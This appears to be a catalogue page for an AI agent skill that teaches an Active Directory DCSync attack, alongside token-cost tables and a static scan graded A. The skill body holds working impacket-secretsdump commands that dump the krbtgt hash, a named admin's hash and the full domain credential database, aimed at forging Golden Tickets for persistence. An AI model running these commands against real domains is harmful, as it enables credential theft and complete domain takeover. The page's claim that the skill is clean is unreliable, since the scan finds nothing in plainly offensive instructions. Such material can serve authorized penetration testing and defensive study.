Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00075 | $0.02294 |
| Opus 5 | $0.00037 | $0.01147 |
| Sonnet 5 | $0.00015 | $0.00459 |
| Haiku 4.5 | $0.00007 | $0.00229 |
Grade A, and why
active-directory-dcsync-attack scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Active Directory DCSync Attack
When to Use
- When operating within a compromised Active Directory environment and you have acquired the credentials of a highly-privileged account (e.g., Domain Admin, Enterprise Admin, or a specific Service Account with Directory Replication rights).
- To extract the
krbtgtaccount hash, which is absolutely mandatory for forging Golden Tickets subsequently establishing ultimate domain persistence. - To perform a complete, stealthy domain credential dump without installing malware directly onto the Domain Controller or exporting the physical
NTDS.ditdatabase file.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Validating Prerequisites
# Concept: A standard domain user CANNOT execute a DCSync. The attacking account MUST possess
# three highly specific Access Control Entries (ACEs) granted at the Domain Root level:
# 1. Replicating Directory Changes (DS-Replication-Get-Changes)
# 2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)
# 3. Replicating Directory Changes In Filtered Set
# Default Groups possessing these rights natively:
# - Domain Controllers
# - Enterprise Admins
# - Domain Admins
# - Administrators
Phase 2: Remote DCSync via Impacket (Linux/Kali)
# Concept: You possess a Domain Administrator's NTLM hash or plaintext password.
# You execute the attack remotely from your Kali machine over the network.
# 1. Target a specific high-value account (e.g., the krbtgt account)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user krbtgt
# 2. Extract the NTLM hash of a specific Domain Admin
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user JamesP_Admin
# 3. Dump the entire Active Directory Database (Warning: Extremely Noisy)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

active-directory-dcsync-attack is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 75 tokens to every session and 2,294 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
